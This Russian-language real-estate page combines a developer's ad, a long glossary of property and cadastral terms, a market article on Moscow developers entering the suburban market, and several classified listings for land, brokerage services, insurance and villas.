Откройте свой Мир!

Компания "МИЭЛЬ-Недвижимость" реализует квартиры в домах-новостройках Москвы и Подмосковья - в городах Балашиха, Железнодорожный, Котельники, Люберцы, Реутов, Долгопрудный, Апрелевка, Красногорск, Одинцово, Подольск и Нахабино.

В нашей базе данных квартир - новостройки различных категорий - среднего класса, "бизнес" и элитные. Специалисты компании "МИЭЛЬ" помогут Вам подобрать оптимальный по цене, комфорту, срокам и местоположению вариант квартиры в одной из новостроек столицы или области.

Телефон: (495)-777-33-33

Абсолютный титул Полное владение, то же что и максимальное наследуемое имущественное право владения по отношению к земле или фригольд. Иногда используется для отражения качества титула, обозначая окончательный завершенный и гарантированный титул.
Азимут Горизонтальное направление, измеряемое по часовой стрелке, обычно от северного направления линий прямоугольной сетки.
Акт передачи на хранение (или в опеку) В практическом отношении имеет то же значение, что и залогово-кредитное обязательство (мортгидж), отличаясь от него только своими юридическими особенностями: как акт передачи на хранение, так и залогово-кредитное обязательство гарантируют кредитору, предоставившему ссуду на строительство или долгосрочную ссуду, право на определенную долю собственности заемщика.
Акт передачи недвижимости, купчая Юридический акт, подтверждающий передачу собственности от одной стороны к другой.
Аренда Право пользоваться и распоряжаться некоторой недвижимостью в течение ограниченного периода времени при условии внесения арендной платы. права и обязанности при пользовании недвижимостью обычно оговариваются в письменном договоре об аренде между владельцем и съемщиком.
Арендатор, Cъемщик Лицо или компания, получающая право пользоваться недвижимостью на основании арендного договора, подписанного владельцем и арендатором. Аренда обычно охватывает ограниченный период времени и предоставляется на основании регулярного (обычно ежемесячного) внесения арендной платы.
Арендное владение (владение на правах аренды) Имущественные права на собственность, отнросящиеся к арендатору (нанимателю, съемщику), в противоположность арендодателю (владельцу, собственнику имущества).
Арендный договор Документ, дающий исключительное право пользования, владения, распоряжения землей одним лицом другому лицу на период времени, срок, обычно за арендную плату, ренту. Лицо, жалующее аренду (сдающее в аренду), называется лендлордом (землевладельцем или арендодателем ) и лицо, которому эта аренда пожалована, называется нанимателем, съемщиком, временным владельцем или арендатором.
Арендодатель Сторона (обычно владелец), которая предоставляет аренду (право владения) за соответствующую компенсацию (арендную плату).
Ассоциация владельцев кондоминиумовОбъединение всех владельцев кондоминиумов многоквартирного дома или жилого комплекса. Ассоциация принимает решения в отношении эксплуатации и технического обслуживания зон общего пользования, находящихся в коллективной собственности, и устанавливает правила проживания в кондоминиумах, принадлежащих отдельным владельцам.
Бона Фиде Добросовестно, честно.
Вектор границы Вектор численно выражающий измерение расстояния в определенном направлении.
Веха Любой объект зафиксированный на почве, и используемый как средство уточнения позиции границы.
Владение Состояние удерживания вещи в своей власти или контроле, вместе с намерением осуществлять этот контроль.
Владение вопреки правам истинного владельца (давность) Занимание земли противоречащее правам истинного владельца.
Владение, землевладение; срок/условия владения Означает собрание прав, которыми обладает частный владелец по отношению к совему имуществу и является тем же самым, что и estate -
1)имение, поместье;
2) имущество.
Существует множество видов владения имуществом, одним из которых является аренда. Термин владение используется не в старом, феодальном понимании, а в более современном, общем смысле, подразумевающем то, как лицо удерживает имущество.
Выморочное право По федеральному закону - переход земли (имущества) государству в обход наследников владельца или по его объявлению вне закона.
Выписка о титуле Краткое описание документов и фактов показывающих право владения.
Выселение по суду Относится к арендуемой недвижимости, право владельца на выполнение решения суда требующего от арендатора покинуть арендуемую недвижимость если последний (1) не в состоянии вносить плату по соглашению или (2) не может выполнить другие важные пункты аренды. Прежде чем решение о выселении будет принято, суд проводит публичное слушание, во время которого владелец представляет основания для выселения, а арендатор может представить собственные причины, по которым выселение не может быть произведено.
Гарантированная граница Граница, точная линия которой предположительно гарантирована. На практике термин в основном используется для описания фиксированных границ.
Гарантия от ущерба Контракт, обеспечивающий лицу возмещение ущерба, возникшего в результате действия, ошибки или события.
Геодезический контроль Контроль относящийся к размеру и форме земли, определенным математически.
Гражданский закон Римский закон; корпус юрис цивилис (лат) - закон установленный государством, касательно прав жителей, в противопоставление уголовному закону.
Граница Предел недвижимости определенный законом или характерная физическая черта (как то забор, ограда), установленная, чтобы отметить законные пределы собственности.
Грант Общее слово обозначающее передачу собственности.
Давность Приобретение права по истечении времени; либо (а) позитивное когда долгое владение обеспечивает титул, или (б) негативное когда прошествие времени исключает права истинного владельца.
Демаркация Разметка границ земельных участков на земле.
Де Факто В виде, фактически существующем на земле.
Де Юре Ситуация так как она выглядит со стороны закона.
Диагональный метод Простой метод осмотра, при котором измерение расстояний производится вдоль и под прямым углом к линиям между контрольными точками.
Документы взамен Акт передачи собственности назад к владельцу без запрещения права использования.
например: строитель взял ссуду на строительство в размере $100,000 но не нашел покупателя. У него нет денег чтобы продолжать выплачивать проценты по займу и он не может выполнить обязательства. Средитор просит документы взамен запрещения права использования.
Должник (заемщик) по закладной Тот, кто дает имущество, как залог для обеспечения ссуды; тот, кто берет (деньги) в долг; заемщик
Доминант Земля к которой прилагается право пользования другой землей; см. обремененный сервитутом.
Естественная граница Граница отмеченная естественным ориентиром (например средняя линия реки или ручья).
Залог, обеспечение Применительно к предоставлению ссуды - залог представляет собой ограниченное право на вступление во владение определенной частью имущества заемщика, предоставляемое кредитору в качестве гарантии погашения ссуды. если занимающая сторона оказывается не в состоянии погасить ссуду в соответствии с условиями договора или каким-то иным способом нарушает свои обязательства, кредитующая сторона может завладеть залогом посредством юридического процесса, называемого лишением прав владения.
Залоговое право Обязательство в отношении собственности делающее ее залогом уплаты долга, судебного решения, ипотеки, уплаты налогов; тип обременения. Специальное залоговое право устанавливается против определенной собственности, общее залоговое право - против всей собственности данного должника.
Залогодержатель; кредитор по закладной Сторона, ссуживающая деньги в долг под закладную, и в чью пользу имущество, служащее для обеспечения долга, является заложенным; заимодавец, кредитор; ростовщик.
Земельный регистр Официальная запись прав в отношении определенных земельных единиц.
Землемерная съемка Документ, подготовленный профессиональным землемером. Показывает границы участка или участков земли, расположение всех зданий, инженерных сетей и дорог на данной территории.
Зонирование Разделение города или страны, путем принятия соответствующего законодательства, на зоны, по принципу разрешенного использования недвижимости.
Изменение (мутация) Изменение границ участка зарегистрированной земли.
Имущество, вещное право Или доля прав владения лицав собственности или сама собственность.
Имущество обремененное сервитутом Земля отягощенная правами типа сервитута.
Исправление Исправление ошибки в регистре или документе.
Исследование титула В системе регистрации документов - обзор всех зарегистрированных документов, затрагивающих определенный объект собственности для определения настоящего состояния титула. В системе регистрации титула - это выдержка из регистра
Исходное описание Акт описания положения границы по отношению к физическим ориентирам.
Кадастр Инвентаризация земли в регионе (зоне) по владению, описанию и стоимости.
Кадастровое обследование/осмотр Обследование границ земельных участков.
Кадастровый индексный план /карта План используемый для индексирования, показывающий взаимоположение земельных участков.
Кадастровый план/карта План подобный указанному выше, но приводящий больше деталей по размерам участков.
Карта зонирования Карта, показывающая зоны, определяемые требованиями зонирования.
Кепь Лента или наборы звеньев, используемые для направленного измерения расстояний. Также мера длины, соответствующая 100 звеньям или 66 футам (примерно 20 м).
Кондоминиум Форма владения недвиижмостью, при которой каждый отдельный собственник владеет квартирой или блокированным домом в жилом комплексе, и выступает в качестве одного из владельцев коллективной собственности на зоны общего пользования, включающие коридоры, лестничные площадки, лифты, вестибюли, подвалы, а также собственно участок земли, т.е. газоны, элементы озеленения, пешеходные дорожки и подъездные дороги.
Корень титула Документ содержащий полную законную и справедливую долю прав подлежащих продаже, который определяет собственность и не содержит ничего что могло бы повлечь сомнения в отношении титула; см. выписка о титуле .
Лицензия Разрешение, выданное органами власти и позволяющее отдельному лицу (компании) заниматься определенным видом профессиональной деятельности или выполнять определенные виды работ. В большинстве случаев как отдельное лицо, так и компания, должны отвечать минимальным требованиям соответствующей профессии или роду деятельности. Для некоторых видов деятельности необходимо также иметь начальный капитал. Как правило, специалист должен сдать квалификационный экзамен. В области строительства и торговли недвижимостью к числу специалистов, нуждающихся в лицензии для осуществления профессиональной деятельности, относятся архитекторы, инженеры (конструкторы), подрядчики и агенты по торговле недвижимостью.
Лишение права выкупа заложенного недвижимого имущества Правовое действие, предпринятое залогодержателем для получения права владения имуществом по причине невыполнения должником по закладной обязательства уплаты платежей основной и/или процентной суммы ипотечного долга (долга по закладной).
Максимальное наследуемое имущестувенное право владения по отношению к земле Юридический термин, используемый для обозначения максимального имущественного права (интереса) на землю, которое может быть предоставлено человеку, или максимум юридического права собственности. Во многих случаях, в практических целях, является эквивалентом абсолютному праву собственности
Многоцелевой кадастр Кадастр содержащий набор различной информации необходимой для лучшего земельного администрирования.
Налог с продажи, налог на передачу недвижимости Налог, единовременно взимаемый местными муниципальными органами при передаче недвижимости одним лицом другому. Налог с продажи обычно представляет собой фиксированную долю от рыночной стоимости передаваемой недвижимости.
Нарушение контракта Невыполнение контракта в целом или частично без законного основания.
Нарушение обязательства Несостоятельность в выполнении или отказ от выполнения обязательства.
Недвижимое имущество или недвижимая собственность Это относится к интересам, выгодам, пользе и правам, присущим праву собственности на физическое недвижимое имущество. Собрание прав, с которым, с ограничениями, предоставляется право собственности на недвижимое имущество, не включающее личного имущества.
Неполноценное право /титул (1) Нраво владения приобретенное путем обмана. (2) Нраво владения недвижимой собственностью, если в нем нехватает некоторых элементов, обеспечивающих полноценность права.
Обременение Приговор (или решение властей), закладная, право удержания имущества до уплаты долга или любая другая форма предъявления иска к имуществу, которая зарегистрирована против титула на землю.
Обследование думсдей Кадастровое обследование англии произведенное в 1086 году по приказу вильгельма завоевателя.
Общая граница Граница, точная линия которой не определена.
Общее право Часть английского права формулируемая, развиваемая и администрируемая старыми судами по общему праву, основанная изначально на общих обычаях страны и не записанная, как противопоставление (1) праву справедливости, (2) статутарному праву, (3) местному традиционному закону и (4) церковному праву.
Объединение (слияние) Соединение земельных участков в единицы более целесообразного, с экономической точки зрения, размера и формы.
Объект владения (1) все что является объектом владения.
(2) в шотландии - здание поделеное на жилые единицы для нескольких семей, закон объекта владения: обязанности, регулирующие владение подобными жилыми единицами.
Обязательство (соглашение) Отраженное в документах обещание по произведению или отказу от определенных действий, или требование или запрещение определенного использования собственности.
например: документальное обязательство часто используется для:
- установления определенного использования земельного участка (наприм. жилое)
- введение стандартов архитектуры и оформления
- контроля плотности будущего развития
- запрещения определенной деятельности (наприм. продажа крепких спиртных напитков).
Ограничения по документам Ограничения использования собственности помещенные передающим лицом, связывающие всех будущих владельцев.
Ограниченный титул Зарегистрированный титул подверженный определенным ограничениям.
Ограничительное условие/соглашение (ковенант) Соглашение (или договор), ограничивающее использование земли ковенантора (the servient tenement = имущества, обремененного сервитутом) на пользу участку земли, принадлежащему ковенанти (the dominant tenement = доминирующему владению, имуществу, получающему услугу по сервитуту) (сервитут - см. easement).
Описание протяженности и векторное описание Метод описания пределов земельного участка в терминах протяженности и векторов границ.
Отметка Официально установленная осмотровая справочная отметка.
Планшет Инструмент для занесения информации по обследованию прямо в поле.
Подразделение Термин, определенный в различных законодательных статутах. в основном подразделением является раздел земли на два и более участка.
Полярные координаты Фиксирование точки путем измерения направления и расстояния от известной точки.
Посессорный титул По английскому закону о земельной регистрации от 1926 года первая регистрация посессорного титула имеет тот же эффект, что и регистрация абсолютного титула, обеспечивая силу титула в отношении всего имущества, прав и интересов первого зарегистрированного владельца и существующие или могущие возникнуть ко времени первой регистрации.
Посредник Обычно посредником является нейтральная третья сторона, выбранная двумя или более лицами для удержания денег или имущества, права на которые(ое) обсуждаются, и уплаты или передачи таковых(ого) тому лицу, которое установит свое право на них.
Постройки и встроенное оборудование Постройки и объекты обустройства территории, такие как дома, ограждения, теннисные корты и другие виды инфраструктуры, а также встроенное оборудование внутри дома, например, системы отопления, нагрева и подачи горячей воды, и т.п., переходящие к новому владельцу вместе с участком земли.
Посягательство, вторжение Приспособление, такое как стена или забор, которое незаконно вторгается в пределы общественной или частной собственности, уменьшая размер и стоимость собственности, на которую было произведено такое посягательство.
Правовое описание Описание собственности в юридических документах.
Правовой кадастр Кадастр составляемый так, что государство может иметь запись о владении по всем земельным участкам.
Правовой титул Свидетельство того что владелец земли владеет ею на законном основании; свидетельство права собственности. см. также владение вопреки правам истинного владельца, сертификат титула .
например: титул на землю значит не только то что некто имеет право владения, потому что он может иметь это право но не иметь титула. титул просто содержит право владения в добавление к праву собственности.
например: абель продал землю бейкеру. в системе регистрации документов титул на собственность передается с документами, которые получает бейкер. в системе регистрации титула титул будет передан, когда регистратор изменит запись в регистре.
Предварительный титул Зарегистрированный титул с тем же эффектом, что и посессорный титул.
Предостережение о том, что к земельному титулу был предъявлен иск (CAVEAT) Извещение, зарегистрированное против титула на землю, предостерегающее тех, кто рассматривает титул, о том, что к нему был предъявлен иск (предъявлены на него). любые последующие сделки с землей подлежат этому иску, если таковой был официально установлен.
Предупреждение По английскому закону о регистрации земли от 1925 года - запись в регистре, дающая право лицу, поместившему запись, быть уведомленным о поступлении заявки на регистрацию любых прав, затрагивающих права, на которые оно само претендует.(см. ниже предостережение.... )
Преимущественное право на землю Право органов власти (федеральных, штата или местных) изымать недвижимость у частного владельца в тех случаях, если, например, правительство или муниципалитет собираются использовать этот участок в общественно-полезных целях.
Преимущественный интерес Интерес который перекрывает регистр (т.е. имеет законную силу даже если не внесен в регистр).
Прикладываемый план План зоны, основывающийся на точно обследованных границах, и составленный кадастровыми специалистами.
Прилегающие границы Границы с каждой стороны участка земли, где она соприкасается с другой (чужой) землей, даваемые (при передаче) для ее определения и описания.
Прима Фасие Первый взгляд.
Присуждение Официальное присуждение прав на землю. Также используется для описания уточнения границ.
Проверка правового титула Процесс наведения справок в муниципальной картотеке с целью установления истинного владельца участка земли.
Протяженность (предел) Что-либо относящееся к описанию земельного участка, что определяет на земле пределы участка.
Процедура передачи имущественных прав Процесс перевода имущественных прав на землю от одного лица другому лицу путем составления документа о передаче имущества. Передача имущественных прав обычно подразумевает передачу титула на землю, но также включает такие сделки, как цессии (переуступки), арендные договора, закладные.
Регистр документов Государственный регистр в котором документы касающиеся прав на землю копируются или конспектируются.
Регистровая (индексная) карта Термин используемый для обозначения официальной кадастровой (индексной) карты которая хранится в земельном регистре.
Регистр прав собственности (титула) Официальная запись прав на определенные участки земли.
Сервитут Ограниченное право пользования землей, принадлежащей другому лицу. Земля, получающая такое преимущество, называется доминирующим владением, и земля, подлежащая сервитуту, называется обремененным владением.
Сертификат титула/на права собственности В США, в зонах, где адвокаты (поверенные) проверяют выписки или цепочки титула - письменное заключение такого лица, устанавливающее, что титул соответствует указанному в выписках. В других странах - это сертификат, выписываемый регистром, подтверждающий, что держатель - зарегистрированный собственник земли.
Если владение осуществляется на правах аренды - выдается сертификат аренды.
Сетка (грид) Система нумерованных квадратов используемая для идентификации точек на карте.
Систематически Работа в зоне последовательно так, что все участки внутри зоны оказываются присужденными и/или обследованными.
Собственность, имущество Является включающим множество значений словом, подразумевающим обычно участок земли, который может находиться в частной собственности вместе с любыми зданиями или другими недвижимыми улучшениями на этом участке. Термин земля не включает здания или улучшения.
Совместное владение Одновременное владение более чем одним лицом, переходящее по смерти одного к оставшимся по праву оставшегося владельца.
Совместное долевое владение Одновременное владение, более чем одним лицом, каждое из которых каждое из которых имеет право владения неделимой долей (т.е. никто не имеет исключительного права владения какой-либо частью, а каждый имеет право занимать собственность вместе с остальными), которое по его смерти переходит к его наследникам, а не к совладельцам.
Специалист по кадастру (земельный сюрвейер) Лицо занимающееся измерением земли. в некоторых странах термин используется в отношении специалистов лицензированных для обследования прав.
Спорадический (нерегулярный) Случающийся то там то здесь или сейчас и потом; противоположно систематический.
Страта планы Планы для поддержки страта титулов.
Страта титулы Титул (права) на горизонтально разделенную землю (включая строения); см. кондоминиум.
Страхование правового титула Страховой договор, заключаемый в интересах владельца земли или ссудодателя. Этот договор со страховой компанией, подписываемый за единовременную плату, гарантирует, что лицо, указанное в правовом титуле, действительно является владельцем участка земли.
Тахеометрия Измерение расстояния путем измерения длины, стягивающей фиксированный на точке угол.
Теория связки или пакета прав Эта теория связана с шестью основными правами, относящимися к свободному владению или полному наследуемому праву собствености на недвижимое имущество.
Титул с возможной отменой Не абсолютное право владения, которое может быть аннулированно или признано недействительным позднее.
например: титул передан а с условием что если а вступит в брак до 30-летнего возраста, титул перейдет к в. Права а могут быть полноценными (без женитьбы) или могут стать недействительными (в случае брака до 30 лет).
Титульные документы Документы свидетельствующие о титуле на землю.
Титульный план Специально выполненный план, указывающий границы для целей регистрации.
Торренс или земельно-регистрационная система торренса Относится к системе регистрации земли, по которой государство гарантирует точность титула, находящегося в регистратуре (страхует против ошибок), и по которой незарегистрированные сделки обычно не оказывают никакого воздействия на людей, не являющихся участниками этих сделок.
ТрансФерт недвижимости Налог, уплачиваемый провинции (и иногда району) при продаже недвижимого имущества и регистраци и передачи прав или трансферта. размер платежа, обычно, пропорционален продажной цене и широко используется оценщиками недвижимости при отсутствии более точной информации для установки цены, за которую имущество было продано.
Третья сторона Некто, кто прямо не вовлечен в сделку или контракт, но может стать вовлеченным, или быть затронутым ими.
например: владелец квартир продает собственность используемую кондоминиумом. Арендаторы, как третьи лица, должны либо съехать, либо купить свои квартиры по прекращении аренды.
например: доверенная третья сторона была назначена как эскроу агент участниками сделки.
Улучшения (постройки) В основном здания, но может включать любые постоянные постройки или другое развитие, как то дорожки, коммунальные услуги и проч..
Условное депонирование денежной суммы у третьего лица на чье-либо имя, Эскроу 1)Применительно к финансовым операциям - это сумма денег, депонируемая третьим лицом (часто банком) на отдельный счет и выплачиваемая для использования в заранее оговоренных целях только в том случае, если удовлетворены определенные условия. Если условия не соблюдены, деньги возвращаются стороне, предоставившей их.
например: покупатель недвижимости кладет деньги в банк на отдельный счет, чтобы тем самым подтвердить свое намерение приобрести данную недвижимость. если сделка состоялась, деньги со счета выплачиваются продавцу как часть стоимости собственности; если же сделка не состоялась, деньги возвращаются покупателю.
2) В контексте залогового кредита - это часть каждого погашения (обычно месячного), которую ссудодатель держит на отдельном счете и выплачивает через более длительные промежутки времени (раз в полугодие или год) другим лицам или компаниям. Чаще всего - это выплата налога на недвижимость и взносы страховой компании, страхующей недвижимость.
Участок (лот) Участок земли.
Фаил участка Фаил (или конверт), один для каждого участка, в котором хранятся документы поддерживающие записи в регистре титула (прав собственности).
Фиксированная граница Граница, точная линия которой была определена и записана.
Фискальный кадастр Кадастр созданный для целей налогообложения.
Фригольд Имение, поместье, право собственности, имущестувенное право, вид владения, свободное владение, дающее исключительное право обладания недвижимым имущество на неопределенный срок. Если срок указан /зафиксирован/ заранее, то владение является арендой, в отличие от фригольда. Фригольды бывают двух главных типов - пожизненное владение, которое прекращается со смертью владельца, и максимальное имущественное право на землю (fee simple), которое не имеет определенного, установленного конца, и может быть унаследовано наследниками владельца имущества. Фригольды могут быть истекающими, что означает, что они подойдут к концу в случае какого-нибудь указанного события, если только не известно заранее, что такое событие будет иметь место, и когда оно может случиться. Примером истекающего фригольда является такой, который прекращается, если владелец заключит повторный брак.
Цепная линия Кривая образуемая лентой или цепью, подвешенной между двумя точками. 
Электронное измерение расстояний Измерение расстояний по времени прохождения электромагнитного сигнала между двумя точками.

Недвижимость Халкидики как выгодная инвестиция. Халкидики - лучший курорт Европы.
















 

Жесткое деление недвижимости на городскую и загородную остается, похоже, в прошлом. В Москве строятся коттеджи и таунхаусы, в Подмосковье появляются загородные жилые комплексы в 12–16 этажей. Не миновал процесс «перемешивания» и застройщиков — компании изменяют сферу своей деятельности. Правда, здесь получается «улица с односторонним движением»: те, кто строил загородные объекты, в столице не появляются. А вот компании, известные как застройщики московского жилья, наоборот, берутся за коттеджные поселки и прочие объекты за городом.

Соображения сугубо прагматические
Прежде всего, мы спросили экспертов рынка о том, зачем, по их мнению, компании-застройщики так поступают. Наивных ответов («хотят быть поближе к природе», «при возведении загородных объектов можно самовыразиться») не было – все опрошенные в качестве причин указывали мотивы самые материальные. Главный из них – значительно большее количество за городом свободных земель и, как следствие, большая легкость при получении участка под застройку.

«В столице застройщикам становится тесновато, – выразила практически общее мнение Елена Зубарева, управляющий директор компании Delta estate. – Ассортимент площадок ограничен, а та земля, что предлагается к освоению, требует колоссальных финансовых вложений. Сегодня получить участок в Москве без значительных обременений практически невозможно. Подмосковье – совсем другое дело. Здесь есть возможность осваивать обширные территории под комплексное многоэтажное строительство с высокой степенью рентабельности даже на средней удаленности от МКАД. Поэтому переход столичных застройщиков в область, где затраты на строительство ниже, удивления не вызывает».

Развивая эту тему, можно вспомнить и о борьбе с точечной застройкой, которую объявили столичные власти. Понятно, что процесс этот во многом декларативный, и коснется он далеко не всех: компании, более всего приближенные к городской администрации, продолжат получать участки. Но кто-то пострадает. «Борьба с точечной застройкой приведет к вытеснению с рынка средних компаний, – говорит Юрий Синяев, директор по маркетингу Группы компаний «Конти». – Многие предпочитают уходить на более свободный рынок Подмосковья уже сейчас». Эксперт напоминает и о другой стороне проблемы – в область перемещается и спрос. Сложившийся баланс цен таков, что средний коттедж уже равен по цене двухкомнатной квартире бизнес-класса – при очевидных всем различиях в площади и прочих потребительских качествах. Так что все больше потребителей выбирают загородное жилье, и застройщики чувствуют эту тенденцию.

С чем пришли?
Случаи выхода городских застройщиков на загородный рынок – явление никак не самого последнего времени. Например, говорит Светлана Абелян, руководитель филиала «На Страстном бульваре» компании «Новый город», известный в Москве застройщик «Конти» несколько лет назад построил коттеджный поселок «Горки-8», а сейчас реализует проект «Ильинка». Наталья Бланкова, маркетолог компании ООО «Пересвет-Реал Эстейт», напоминает об объекте Capital Group – уже готовом загородном поселке «Барвиха Hills».

Планов, как всегда, значительно больше. Среди них Наталья Бланкова приводит: заявление компании Hermitage Construction & Management Group о строительстве в 50 км от МКАД по Симферопольскому шоссе пятисот коттеджей на участке площадью 100 га; покупку Mirax Group 29 га в Мякининской пойме (на этом участке намечено возведение 600 тыс. кв.м малоэтажного элитного жилья); планы Группы компаний «Ташир» (девелоперы коммерческой недвижимости) возвести до одного миллиона квадратных метров жилья в Московской области (для этого в 15 км от Москвы приобретено несколько земельных участков общей площадью 190 га); проект «СУ-155» в сегменте малоэтажного строительства (поселок площадью 70 тыс. кв.м будет построен в 20 км от Нижнего Новгорода. Это, конечно, не Подмосковье – но недвижимость самая что ни на есть загородная).

Савелий Орбант, генеральный директор компании «МИЭЛЬ-Загородная недвижимость», приводит еще несколько примеров реализованных и реализующихся проектов. Это объекты «МИАНа» (33 Club, Family Club), «ПИКа» («Дмитровское подворье») и «Пересвета» (FreeDOM). Кроме них нельзя не вспомнить и еще об одной достаточно новой категории – многоквартирных жилых комплексах. Правда, возводят их, в основном, не в чистом поле, а в пригородах подмосковных городов, на территориях пансионатов, домов отдыха и т.д.

Примечательно, что объекты, построенные городскими застройщиками, вовсе не обязательно несут на себе какую-то «урбанистическую печать». Это могут быть и многоквартирные дома, но могут быть и самые настоящие загородные поселки, уютные и живописные. «Многоэтажное строительство в принципе намного сложнее, – уверена Светлана Абелян. – Если застройщик владеет этими технологиями, имеет соответствующую технику, обученных специалистов, построить коттеджный поселок ему не проблема».

С другой стороны, этот застройщик может построить и нечто такое, что не под силу традиционному «загороднику», – фитнес-центр или складской комплекс. Если нужно, конечно…

Рады не все…
Приход «варягов» – это всегда обострение конкуренции, так что очевидно, что от экспансии «городских» традиционные загородные застройщики не в восторге. Правда, мнения о том, что «пришельцы» могут серьезно потеснить их, придерживается только Светлана Абелян: по ее оценке, решающими окажутся финансовые и производственные мощности, и в нынешних условиях, когда коттеджные поселки становятся все крупнее, московские застройщики выдавят своих конкурентов с серьезного рынка.

Им останется только какое-то мелкое строительство, небольшие объекты.

Остальные эксперты оценивают ситуацию не столь фатально. По мнению Савелия Орбанта, масштабы явления пока явно не таковы, чтобы говорить о полномасштабной экспансии. Елена Зубарева отмечает, что перепрофилируются, в основном, небольшие компании, которые и на московском рынке после себя ничего запоминающегося не оставили. Так что конкурировать будет сложно как раз им. А Наталья Бланкова напоминает, что «местные» компании имеют весомые преимущества – наработанные связи в администрациях, знание бизнес-процессов. А вот «новичкам» придется все эти вопросы осваивать заново.

«Смычка города и деревни»
А вот в чем польза от прихода московских игроков – это в повышении уровня загородного рынка. Конечно, для Рублевки и других престижных направлений эта проблема и так не стояла: качество всего, в том числе и строительства, там высочайшее. Но на других, менее раскрученных, трассах оно было иногда проблемой. И нет сомнений, что компании, работающие по московским стандартам, существенно повысят планку и в Подмосковье.

Тем более что потребность есть. «Если раньше недвижимость в Подмосковье рассматривалась как сезонное жилье, то на сегодняшний день все больше покупателей приобретают здесь недвижимость для постоянного проживания, – отмечает Ю.Синяев. – Причем область становится все более привлекательной для многих категорий потенциальных покупателей – не только жителей Москвы и области, но и других регионов».

По оценке эксперта, сегодня большинство девелоперов предпочитают реализацию проектов смешанного типа, где соседствуют и коттеджи, и таунхаусы. Связано это, главным образом, с удорожанием земли, а также с желанием максимально расширить ассортиментную линейку для покупателей с различными финансовыми возможностями, чтобы дифференцировать риски и застраховать себя в случае невостребованности одного из форматов жилья в проекте. Особенно это актуально при реализации крупномасштабных жилых комплексов.

Большинство специалистов склоняются к мысли, что в не таком уж и далеком будущем граница (по крайней мере, психологическая) между Москвой и областью окончательно сотрется. За город переберутся более-менее состоятельные люди: жить в собственном доме в пригороде популярно во многих странах. Там же (правда, в других объектах) окажутся и обитатели экономкласса: панельные многоэтажки строятся сегодня все больше не в столице, а в городах ближнего Подмосковья. А все это означает, что застройщики, действующие в разных субъектах федерации (тоже, кстати, не факт, что эта ситуация навсегда), на деле окажутся на едином рынке.

Продается  земельный участок площадью 21,2 га под жилищное строительство (этажностью от 5 до 16) и торгово-развлекательный комплекс в г.Ульяновске(центр Заволжского района). Живописное место, расположенное в непосредственной близости от лесного массива на левом берегу реки Волги («дикий» пляж-1500 метров, центральный пляж- через мост). Удобное расположение относительно существующих магистральных сетей значительно упрощает задачу инженерного обеспечения. По выданным техническим условиям на присоединения точки подключения находятся достаточно близки: воды- 300 м., канализация- 500м., газа-280 м., эл.энергии-1200м. В непосредственной близости от участка проходят автомагистрали и дороги местного значения. В 2009г. вводится новый мост через р.Волга, выезд с моста будет проходить рядом с застраиваемым участком, что делает его более привлекательным. Рядом две школы, детский сад, супермаркеты и т.д.  Фото участка здесь: http://irr.ru/advert/171623...;                  
Земля в собственности. Документы готовы к продаже. Цена- 210 млн. руб. Несмотря на быстрый темп развития города Ульяновска (строительство завода второй по величине пивоваренной компании в мире SABMiller; строительство завода  ООО"Марс"(российское подразделение корпорации Masterfoods) в Заволжском районе) население испытывает дефицит жилья. Мы предлагаем очень выгодную цену, так как рыночная стоимость земли в данном районе в три раза выше!


 

Надежда
Немудрякина
Ипотечный брокер, агент
8-962-696-58-09, 8-921-36-77-901
АН "Адвекс" Приморское отделение
Санкт-Петербург  Комендантский проспект дом 17,  (812)340-04-94
e-mail : nena1959i@mail.ru
ICQ: 462-936-571
http://vkontakte.ru/id14120160?53222
О себе - работаю в АН "АДВЕКС" с 2004 года, опыт, имею сертификаты, лицензии как брокер и как агент.
Стоимость услуг - 1. 5% при получении одобрения банка от суммы кредита.
При покупке квартир или продаже за одну сделку -4% от стоимости квартиры,
при покупке или продаже комнат за одну сделку -5% от стоимости комнаты.
При проведение несложной сделки или выполнения части работы оплата труда обсуждается.
Консультации - бесплатно.
Любой вопрос по недвижимости, в рамках закона, естественно, помогу вам решить.
Ипотека, жилищные  и военные сертификаты, субсидии,  сделки по безналичному  расчету,  сейфинг.
провожу подбор квартир или комнат.
Полное  или частичное сопровождение сделки. 
Работаю с клиентами только по договору.
Состою в штате  Ан "Адвекса".являюсь членом клуба "GOLD TEAM".
Если вас интересует работа риэлтора, приходите, научим

• Сдаёте квартиру в аренду или надолго уезжаете из города?
• Боитесь залить своих соседей или что они затопят вас?
• У вас есть имущество, которое жалко потерять?

Тогда страхование квартиры вам просто необходимо!

Страхование собственного или арендованного жилья позволит быстро получить страховую выплату и компенсировать все расходы на ремонт помещения, техники и мебели. Страхование само по себе не является гарантом неприкосновенности имущества, но позволяет свести риск ваших потерь к минимуму!

Ведь пожары случаются всегда неожиданно, воры вряд ли предупредят вас о своих планах, а обычная стирка может обернуться полным залитием своей квартиры и затоплением соседей снизу.

Вам нужны такие проблемы? Если нет, то это предложение – для вас!
https://www.workle.ru/id212...

ИНТЕРЕСНОЕ ПРЕДЛОЖЕНИЕ!!!Уважаемые друзья и посетители " моего мира"!
Проект "Сразу в дом" предлагает Вашему вниманию коттеджный поселок европейского уровня- "Севилья", удаленность от МКАД - 47 км по Ярославскому шоссе в Сергиево-Посадском районе Подмосковья. (Гаврилково)
"Севилья" - это возможность каждого желающего получить собственный участок с домом уже за 34 000$! (6 соток, 80кв.м жилой площади и др.)тел.89263214087 ,скайп rada358.

“MAGNOLIA VILLAGE” Болгария, Солнечный Берег, КОШАРИЦА 7-комнатные виллы у моря
Предлагаем Вашему вниманию комплекс закрытого типа, состоящий из 12 вилл, и расположенный в дачной зоне села Кошарица, в 2,5-3 км от Чёрного моря и пляжа, в 7 км от города Святой Влас, в 10 км от Несебра, в 30 км от международного аэропорта города Бургас. •  более подробные карты смотрите здесь...	•  все фотографии домов смотрите здесь...

Каждая вилла двухэтажная и имеет прекрасный вид на море.
Площадь вилл - 212 кв.м.
Возле каждого дома есть сад и паркоместо для личного автомобиля общей площадью 300 кв.м.
Общая площадь всего участка комплекса - 5001 кв.м.

На первом этаже (110 кв.м.) есть веранда, прихожая, просторная гостиная с кухней и столовой,
2 спальни, 2 ванных с туалетами, туалет, помещение для стиральной машины, помещение
для гардероба и лестница на верхний этаж.

На втором этаже (102 кв.м.) есть гостиная, 2 спальни, большая ванная с туалетом, терраса
и помещение для нагревателя воды - бойлера.


В продаже всего 5 вилл - одна готовая, а виллы с номерами от 1 до 4 - на стадии окончания
строительства, которые будут сданы с отделкой "под ключ" стоимостью в  143 000 € .

Дом №8 предлагается для срочной продажи,
для него действует специальное предложение - всего  126 500 € ! 

Степень завершённости: Все виллы продаются с отделкой "под ключ".

